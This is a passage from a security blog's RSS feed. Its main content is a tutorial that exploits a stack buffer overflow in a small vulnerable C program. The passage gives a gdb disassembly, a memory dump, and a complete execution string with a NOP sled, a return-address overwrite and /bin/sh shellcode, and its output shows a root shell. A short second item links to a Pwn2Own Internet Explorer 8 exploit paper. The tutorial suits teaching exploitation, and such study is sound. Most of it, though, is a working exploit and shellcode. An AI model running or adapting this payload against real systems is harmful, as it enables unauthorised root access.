Dump of assembler <span style="color: #000000; font-weight: bold;">code</span> <span style="color: #000000; font-weight: bold;">for</span> function populateBuffers<br />
<span style="color: #0000ff;">0x08048394</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">0</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">push</span> &nbsp; <span style="color: #00007f;">ebp</span><br />
<span style="color: #0000ff;">0x08048395</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">1</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span><br />
<span style="color: #0000ff;">0x08048397</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">3</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">sub</span> &nbsp; &nbsp;<span style="color: #00007f;">esp</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x78</span><br />
<span style="color: #0000ff;">0x0804839a</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">6</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x8</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #0000ff;">0x0804839d</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">9</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">add</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x4</span><br />
<span style="color: #0000ff;">0x080483a0</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">12</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">eax</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #0000ff;">0x080483a2</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">14</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x8</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x1f</span><br />
<span style="color: #0000ff;">0x080483aa</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">22</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x4</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span><br />
<span style="color: #0000ff;">0x080483ae</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">26</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">lea</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">-</span><span style="color: #0000ff;">0x40</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #0000ff;">0x080483b1</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">29</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span><br />
<span style="color: #0000ff;">0x080483b4</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">32</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">call</span> &nbsp; <span style="color: #0000ff;">0x80482b4</span> &lt;strncpy@plt&gt;<br />
<span style="color: #0000ff;">0x080483b9</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">37</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x8</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #0000ff;">0x080483bc</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">40</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">add</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x8</span><br />
<span style="color: #0000ff;">0x080483bf</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">43</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">eax</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #0000ff;">0x080483c1</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">45</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x8</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x20</span><br />
<span style="color: #0000ff;">0x080483c9</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">53</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x4</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span><br />
<span style="color: #0000ff;">0x080483cd</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">57</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">lea</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">-</span><span style="color: #0000ff;">0x60</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #0000ff;">0x080483d0</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">60</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span><br />
<span style="color: #0000ff;">0x080483d3</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">63</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">call</span> &nbsp; <span style="color: #0000ff;">0x80482b4</span> &lt;strncpy@plt&gt;<br />
<span style="color: #0000ff;">0x080483d8</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">68</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">lea</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">-</span><span style="color: #0000ff;">0x60</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #0000ff;">0x080483db</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">71</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0x4</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span><br />
<span style="color: #0000ff;">0x080483df</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">75</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">lea</span> &nbsp; &nbsp;<span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">-</span><span style="color: #0000ff;">0x20</span><span style="color: #009900; font-weight: bold;">&#93;</span><br />
<span style="color: #0000ff;">0x080483e2</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">78</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">mov</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span><br />
<span style="color: #0000ff;">0x080483e5</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">81</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">call</span> &nbsp; <span style="color: #0000ff;">0x80482d4</span> &lt;strcpy@plt&gt;<br />
<span style="color: #0000ff;">0x080483ea</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">86</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">leave</span><br />
<span style="color: #0000ff;">0x080483eb</span> &nbsp; &lt;populateBuffers<span style="color: #339933;">+</span><span style="color: #0000ff;">87</span>&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #00007f; font-weight: bold;">ret</span><br />
<span style="color: #000000; font-weight: bold;">End</span> of assembler dump<span style="color: #339933;">.</span></div></div>
<p>Ok, now we will put a breakpoint where the final strcpy() call is at 0&#215;080483e5, this address will probably vary for you. Then we will run the program using the first argument full of A&#8217;s which will be 0&#215;41 in hex, this will be easy to spot in the debugger. The second argument is as described above, we are looking for the address where the NOP sled begins (lots of 0&#215;90 bytes).</p>
<div class="codecolorer-container bash geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">gdb</span> <span style="color: #7a0874; font-weight: bold;">break</span> <span style="color: #000000; font-weight: bold;">*</span>0x080483e5<br />
run $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;A&quot;x32;'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;\x90&quot;x7;'</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80&quot;;'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
Starting program: ...<br />
Breakpoint <span style="color: #000000;">1</span>, 0x080483e5 <span style="color: #000000; font-weight: bold;">in</span> populateBuffers <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></div></div>
<p>Now we need to examine the memory, remember that the stack pointer esp points to the top of our stack just before buffer3. We will examine 40 bytes from the stack pointer:</p>
<div class="codecolorer-container asm geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="asm codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900; font-weight: bold;">&#40;</span>gdb<span style="color: #009900; font-weight: bold;">&#41;</span> x<span style="color: #339933;">/</span>40x $esp<br />
<span style="color: #0000ff;">0xbfffdc60</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0xbfffdcb8</span>&nbsp; <span style="color: #0000ff;">0xbfffdc78</span>&nbsp; <span style="color: #0000ff;">0x00000020</span>&nbsp; <span style="color: #0000ff;">0xbfffdd30</span><br />
<span style="color: #0000ff;">0xbfffdc70</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0x00f2f668</span>&nbsp; <span style="color: #0000ff;">0x0804820c</span>&nbsp; <span style="color: #0000ff;">0x90909090</span>&nbsp; <span style="color: #0000ff;">0x31909090</span><br />
<span style="color: #0000ff;">0xbfffdc80</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0x2f6850c0</span>&nbsp; <span style="color: #0000ff;">0x6868732f</span>&nbsp; <span style="color: #0000ff;">0x6e69622f</span>&nbsp; <span style="color: #0000ff;">0x5350e389</span><br />
<span style="color: #0000ff;">0xbfffdc90</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0xc289e189</span>&nbsp; <span style="color: #0000ff;">0x80cd0bb0</span>&nbsp; <span style="color: #0000ff;">0x41414141</span>&nbsp; <span style="color: #0000ff;">0x41414141</span><br />
<span style="color: #0000ff;">0xbfffdca0</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0x41414141</span>&nbsp; <span style="color: #0000ff;">0x41414141</span>&nbsp; <span style="color: #0000ff;">0x41414141</span>&nbsp; <span style="color: #0000ff;">0x41414141</span><br />
<span style="color: #0000ff;">0xbfffdcb0</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0x41414141</span>&nbsp; <span style="color: #0000ff;">0x00414141</span>&nbsp; <span style="color: #0000ff;">0xbfffde6e</span>&nbsp; <span style="color: #0000ff;">0x08048320</span><br />
<span style="color: #0000ff;">0xbfffdcc0</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0x00ba3ff4</span>&nbsp; <span style="color: #0000ff;">0x0804960c</span>&nbsp; <span style="color: #0000ff;">0xbfffdcd8</span>&nbsp; <span style="color: #0000ff;">0x08048291</span><br />
<span style="color: #0000ff;">0xbfffdcd0</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0x00ba3ff4</span>&nbsp; <span style="color: #0000ff;">0xbfffdd94</span>&nbsp; <span style="color: #0000ff;">0xbfffdce8</span>&nbsp; <span style="color: #0000ff;">0x08048408</span><br />
<span style="color: #0000ff;">0xbfffdce0</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0xbfffdd84</span>&nbsp; <span style="color: #0000ff;">0xbfffdd00</span>&nbsp; <span style="color: #0000ff;">0xbfffdd58</span>&nbsp; <span style="color: #0000ff;">0x00a80455</span><br />
<span style="color: #0000ff;">0xbfffdcf0</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0x08048470</span>&nbsp; <span style="color: #0000ff;">0x080482f0</span>&nbsp; <span style="color: #0000ff;">0xbfffdd58</span>&nbsp; <span style="color: #0000ff;">0x00a80455</span></div></div>
<p>Clearly the 7 bytes of the nop sled are visible 8 bytes from 0xbfffdc70, so if we overwrite our instruction pointer with address <span style="color: #003366;">0xBFFFDC78</span> it will hit the NOP sled, this isnt ideal as we only have 7 bytes in the sled, and in the might have to +/- a few bytes during execution to actually hit it correctly, but it works (there&#8217;s no doubt a better way of constructing this exploit&#8230;).</p>
<p>So now we have the 2nd argument, and the address of our shellcode/nops, this can be used to make the first argument. Recall that 31 bytes of arg1 go into buffer2, the first 4 bytes of this will overwrite EBP (with NOPs), and the second 4 will overwrite the EIP, we dont care what comes after that so I will just put some more NOPs. Remember we are working with little-endian, so the return address is entered backwards.</p>
<p><span style="color: #ff0000;">$(perl -e &#8216;print &#8220;\x90&#215;4&#8243;;&#8217; -e &#8216;print &#8220;\x78\xDC\xFF\xBF&#8221;;&#8217; -e &#8216;print &#8220;\x90&#8243;x100;&#8217;)</span></p>
<p><span style="text-decoration: underline;">Final Exploit:</span></p>
<p>So now we have the two crafted arguments to fill buffers 3 and 2, these will then be copied into buffer1 overwriting EIP in the process which will cause our shellcode to execute. Final execution string:</p>
<p><span style="color: #ff0000;">./program $(perl -e &#8216;print &#8220;\x90&#215;4&#8243;;&#8217; -e &#8216;print &#8220;\x78\xDC\xFF\xBF&#8221;;&#8217; -e &#8216;print &#8220;\x90&#8243;x100;&#8217;) $(perl -e &#8216;print &#8220;\x90&#8243;x7;&#8217; -e &#8216;print &#8220;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80&#8243;;&#8217;)</span></p>
<p>Remember we are using a small nop sled, so you might have to +/- 4 bytes eitherside of the EIP overwrite address, I had to + 4 bytes as I got an illegal instruction error the first time. Here&#8217;s the final exploit in action:</p>
<div class="codecolorer-container bash geshi" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">jack<span style="color: #000000; font-weight: bold;">@</span>tvirt:<span style="color: #000000; font-weight: bold;">/</span>work$ .<span style="color: #000000; font-weight: bold;">/</span>program $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;\x88\xdc\xff\xbf&quot;;'</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;\x78\xDC\xFF\xBF&quot;;'</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;\x90&quot;x100;'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;\x90&quot;x7;'</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80&quot;;'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
sh-<span style="color: #000000;">3.2</span>$ <span style="color: #c20cb9; font-weight: bold;">whoami</span><br />
root</div></div>
<p>Bingo, we have a root shell <img src='http://www.jcsecurity.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Note: if you try this on a modern Linux distribution, you will need to disable ASLR and NX-bit protections.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=116</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>IE8 Exploited under 64bit Windows 7 &#8211; Another hole in ASLR &amp; DEP</title>
		<link>http://www.jcsecurity.co.uk/?p=112</link>
		<comments>http://www.jcsecurity.co.uk/?p=112#comments</comments>
		<pubDate>Thu, 25 Mar 2010 23:04:43 +0000</pubDate>
		<dc:creator>Jack</dc:creator>
				<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[ASLR]]></category>
		<category><![CDATA[DEP]]></category>
		<category><![CDATA[IE8]]></category>

		<guid isPermaLink="false">http://www.jcsecurity.co.uk/?p=112</guid>
		<description><![CDATA[Peter Vreugdenhil successfully exploited IE8 on 64bit Windows 7 at the Pwn2Own at CanSecWest. IE8 is often regarded as the most secure browser available today by many people in the industry, primarily because of the several layers of protections it&#8217;s wrapped in. Very impressive attack as ASLR &#38; DEP have proved relatively robust to date, [...]]]></description>
			<content:encoded><![CDATA[<p>Peter Vreugdenhil successfully exploited IE8 on 64bit Windows 7 at the Pwn2Own at CanSecWest. IE8 is often regarded as the most secure browser available today by many people in the industry, primarily because of the several layers of protections it&#8217;s wrapped in. Very impressive attack as ASLR &amp; DEP have proved relatively robust to date, there&#8217;s a brief paper detailing the exploit techniques used <a href="http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jcsecurity.co.uk/?feed=rss2&amp;p=112</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
